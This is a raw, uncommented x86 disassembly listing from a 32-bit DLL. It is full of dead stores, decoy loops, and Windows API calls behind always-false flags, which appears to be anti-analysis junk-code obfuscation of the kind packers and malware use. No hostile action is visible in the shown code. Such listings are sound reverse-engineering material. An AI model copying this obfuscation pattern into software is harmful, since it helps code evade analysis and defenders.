mov dword [ebp - 0x4c], 0xffff
dec dword [ebp - 0x4c]
mov eax, dword [ebp - 0x5c]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe5
je 0x1002c16e
lea ecx, [ebp - 0xba4]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0x724]
mov dword [ebp - 4], eax
call fcn.10015b02
xor eax, eax
push eax
push eax
call ebx
push eax
call edi
mov ebx, 0x3b91
mov edi, 0x7937d8e6
mov dword [ebp - 0x24], ebx
xor eax, eax
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], 0x2751c76d
mov dword [ebp - 0x24], 0x59b8bc5
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x215e1abe
mov dword [ebp - 0x4c], 0x33c2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002c209
push 7
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1438], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002c1f4
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x20], 0x1824a8c6
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0xa7c], ecx
mov dword [ebp - 0xa78], ecx
mov dword [ebp - 0xa74], ecx
mov dword [ebp - 0xa70], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c250
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c237
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002c270
mov dword [ebp - 0x4c], 0x69f4288a
cmp dword [ebp - 0x4c], eax
jne 0x1002c276
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xfc], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0xf
jle 0x1002c255
mov eax, dword [ebp - 0xfc]
xor edx, edx
mov dword [ebp - 0x20], 0xfffffff6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xa70], 0xa61fc2da
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
cmp ecx, eax
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf4]
setl dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xf8]
setl dl
xor ecx, ecx
cmp edx, eax
mov edx, 0x59b8bc5
setle cl
xor eax, eax
mov dword [ebp - 0xf8], ecx
mov ecx, 0x2751c76d
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x215e1abe
mov dword [ebp - 0x4c], 0x33c2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002c331
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14a8], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002c318
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x24], ebx
push 6
pop ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x215e1abe
mov dword [ebp - 0x4c], 0x33c2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002c37f
push 7
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1468], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002c36a
xor eax, eax
inc dword [ebp - 0x4c]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x4c], 0x52027495
mov dword [ebp - 0x14], eax
jmp 0x1002c3a5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1338], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c394
mov ebx, dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov dword [ebp - 0x20], 0xffffffee
cmp dword [ebp - 0x20], 0xffffffea
jge 0x1002c492
lea esi, [ebp - 0x1070]
lea edi, [ebp - 0x1060]
push 3
lea ecx, [ebp - 0x91c]
call fcn.10015242
push ecx
mov dword [ebp - 4], 3
lea ecx, [ebp - 0xe7c]
movdqa xmm0, xmmword [0x10007c20]
push edi
push esi
movdqu xmmword [ebp - 0x1070], xmm0
call fcn.10015284
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c425
or edx, 0xffffffff
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x91c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c40e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c447
push eax
push 0x2515
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xe7c]
mov edx, dword [ebp - 0x91c]
mov dword [ecx + 4], eax
mov eax, dword [ecx + 4]
mov dword [edx + eax*4], 0xe4438bea
inc dword [ecx + 4]
cmp dword [ecx + 4], 3
jl 0x1002c456
lea ecx, [ebp - 0xe7c]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0x91c]
mov dword [ebp - 4], eax
call fcn.10015b02
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
jl 0x1002c3ce
inc dword [ebp - 0x4c]
mov dword [ebp - 0x20], 0x1824a8c6
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0xaac], eax
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], eax
mov dword [ebp - 0xaa0], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c4db
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd8], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c4c2
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002c4fb
mov dword [ebp - 0x4c], 0x69f4288a
cmp dword [ebp - 0x4c], eax
jne 0x1002c501
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xd8], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0xf
jle 0x1002c4e0
mov eax, dword [ebp - 0xd8]
xor edx, edx
mov dword [ebp - 0x20], 0xfffffff6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xaa0], 0xa61fc2da
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd8]
cmp ecx, eax
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd0]
setl dl
movdqa xmm0, xmmword [0x10007c10]
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xd4]
movdqu xmmword [ebp - 0xf90], xmm0
setl dl
xor ecx, ecx
cmp edx, eax
lea eax, [ebp - 0xf80]
setle cl
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0xf90]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xbbc]
call fcn.10015284
mov esi, dword [ebp - 0xbbc]
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [esi + 4], 0x1b
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c5c2
push 0x221a
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
dec dword [esi + 4]
cmp dword [esi + 4], 0xe
mov dword [ebp - 0x2c], 6
jg 0x1002c5a2
lea ecx, [ebp - 0xbbc]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0x73c]
mov dword [ebp - 0x18], eax
xor esi, esi
inc esi
xor eax, eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x4c], eax
push 4
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x4c], 0xa61940c9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002c62f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x73c]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002c614
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c64a
push 0x16a3
push eax
push 0x1c60
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xffff
mov eax, dword [ebp - 0x18]
setne cl
sub eax, ecx
cmp dword [ebp - 0x18], eax
jge 0x1002c66d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], 0xfffffffd
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x18]
test edx, edx
je 0x1002c68c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xa98ceef9
setne cl
sub ecx, 0x551b
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x26595ad3
setne al
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x73c]
dec ecx
mov dword [eax + 8], ecx
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x73c]
call fcn.10015b02
mov dword [ebp - 0x20], 0x1824a8c6
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0xb2c], eax
mov dword [ebp - 0xb28], eax
mov dword [ebp - 0xb24], eax
mov dword [ebp - 0xb20], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c719
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf0], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c700
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002c739
mov dword [ebp - 0x4c], 0x69f4288a
cmp dword [ebp - 0x4c], eax
jne 0x1002c73f
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xf0], eax
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], 0xf
jle 0x1002c71e
mov eax, dword [ebp - 0xf0]
xor edx, edx
mov dword [ebp - 0x20], 0xfffffff6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xb20], 0xa61fc2da
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf0]
cmp ecx, eax
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe8]
setl dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xec]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0x20], 0x10c93b4e
mov dword [ebp - 0x24], 0x3e31551d
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xc0bf90a2
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x24], 0x7525d2d9
mov dword [ebp - 0x24], 0x13e13a6c
mov dword [ebp - 0x4c], 0x8fb0b4
mov dword [ebp - 0x24], 0x2eda
mov dword [ebp - 0x20], 0xffffffe8
jmp 0x1002c84c
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c817
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x141c], 0xd0d658ed
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c7fe
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xd
jge 0x1002c846
mov dword [ebp - 0x2c], 0xebb0
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c837
push eax
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov eax, dword [ebp - 0x2c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xd
push 0
pop eax
jl 0x1002c820
dec dword [ebp - 0x4c]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffd
jg 0x1002c7e7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c868
push 0xe11
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
xor eax, eax
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x4c], 0x52027495
mov dword [ebp - 0x14], eax
jmp 0x1002c88f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13d4], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c87e
mov dword [ebp - 0x20], 0xffffffee
jmp 0x1002c963
push 3
lea ecx, [ebp - 0xa18]
call fcn.10015242
push ecx
lea eax, [ebp - 0x10e0]
mov dword [ebp - 4], 4
movdqa xmm0, xmmword [0x10007c20]
lea ecx, [ebp - 0xdb4]
push eax
lea eax, [ebp - 0x10f0]
push eax
movdqu xmmword [ebp - 0x10f0], xmm0
call fcn.10015284
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002c904
or edx, 0xffffffff
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xa18]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c8ed
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002c922
push eax
push 0x2515
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xdb4]
mov edx, dword [ebp - 0xa18]
mov dword [ecx + 4], eax
mov eax, dword [ecx + 4]
mov dword [edx + eax*4], 0xe4438bea
inc dword [ecx + 4]
cmp dword [ecx + 4], 3
jl 0x1002c931
lea ecx, [ebp - 0xdb4]
call fcn.10015b02
or eax, 0xffffffff
lea ecx, [ebp - 0xa18]
mov dword [ebp - 4], eax
call fcn.10015b02
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
jl 0x1002c8a1
inc dword [ebp - 0x4c]
xor eax, eax
mov dword [ebp - 0x28], 0x29a3df60
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002c999
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x164], 0xf1124f01
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c981
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002ca70
mov dword [ebp - 0x38], 0xd3f46721
mov dword [ebp - 0x38], eax
jmp 0x1002ca5e
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002ca48
push esi
lea ecx, [ebp - 0x614]
call fcn.10015242
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002c9ec
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x614]
mov dword [eax + ecx*4], 0x12e1dfe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002c9d9
mov eax, dword [ebp - 0x614]
and dword [eax], 0
mov eax, dword [eax]
mov ecx, dword [ebp + eax*4 - 0x164]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x164], ecx
mov eax, dword [ebp - 0x614]
inc dword [eax]
cmp dword [eax], 0
jle 0x1002c9fa
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ca36
push 0x8ed
push eax
call edi
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
lea ecx, [ebp - 0x614]
call fcn.10015b02
dec dword [ebp - 0x20]
jns 0x1002c9c6
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ca5b
push eax
push eax
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jle 0x1002c9b4
dec dword [ebp - 0x28]
jns 0x1002c9a5
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x1002ca90
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x84], 0x5b9b55bb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002ca78
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x1002cab0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3a0], 0x51f2
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002ca98
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x1002caed
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x20], eax
jmp 0x1002cae2
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002cadf
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x3a0], 0
jne 0x1002cadd
dec dword [ebp - 0x14]
jns 0x1002cacb
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1002cac0
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 0x1b
jle 0x1002cab8
or ecx, 0xffffffff
push 3
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x1002cb38
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002cb1f
push eax
push eax
push 0x821
call edi
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002cb35
push 0x127c
call dword [sym.imp.USER32.dll_GetSysColor]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002cb04
mov dword [ebp - 0x24], 0x3b91
lea ecx, [ebp - 0x754]
mov dword [ebp - 0x38], 0x2fd4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0xfffffffd
push ebx
call fcn.10015242
mov dword [ebp - 4], 5
lea ecx, [ebp - 0xfb0]
movdqa xmm0, xmmword [0x10007d00]
xor eax, eax
mov dword [ebp - 0x3c], 0x1151
or edi, 0xffffffff
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], 0x79ebef9f
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xfa0]
push ecx
push eax
push ecx
mov dword [ebp - 0x50], edi
lea ecx, [ebp - 0xbd4]
movdqu xmmword [ebp - 0xfb0], xmm0
call fcn.10015284
lea ecx, [ebp - 0x1090]
mov byte [ebp - 4], 6
push ecx
lea eax, [ebp - 0x1080]
mov dword [ebp - 0x18], 0xa549
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], esi
push ecx
lea ecx, [ebp - 0x11e4]
movdqu xmmword [ebp - 0x1090], xmm0
call fcn.10015284
mov dword [ebp - 0x24], esi
xor eax, eax
mov dword [ebp - 0x24], 0xf1929b4d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002cc0b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x754]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002cbf5
xor eax, eax
inc dword [ebp - 0x3c]
mov ecx, 0xf74f57b1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1b
jg 0x1002cd35
mov esi, dword [ebp - 0xbd4]
mov edi, dword [ebp - 0x754]
mov dword [ebp - 0x2c], 0x714ad38d
mov dword [ebp - 0x2c], 0x3a065c2d
mov dword [ebp - 0x44], 0x7509cb0b
mov dword [ebp - 0x34], eax
push 4
pop edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x6b0], ecx
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x6a8], ecx
mov dword [ebp - 0x30], 0xa2e2
mov dword [ebp - 0x24], 0xa741263
mov dword [ebp - 0x28], 0x6640dd14
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xfffffff2
jg 0x1002ccbf
lea ecx, [ebp - 0x11e4]
call fcn.10015b02
lea ecx, [ebp - 0xbd4]
call fcn.10015b02
lea ecx, [ebp - 0x754]
mov dword [ebp - 4], edi
call fcn.10015b02
mov dword [ebp - 0x24], 6
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], 0x57e8b72f
mov dword [ebp - 0x24], 0xc9cc1417
mov dword [ebp - 0x24], 0x872fa4ad
mov dword [ebp - 0x24], 0x89a69576
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0x5b0bb8b
mov dword [ebp - 0x24], 0xc6eed1e1
mov dword [ebp - 0x4c], 0xfc3
mov dword [ebp - 0x14], eax
jmp 0x1002cdab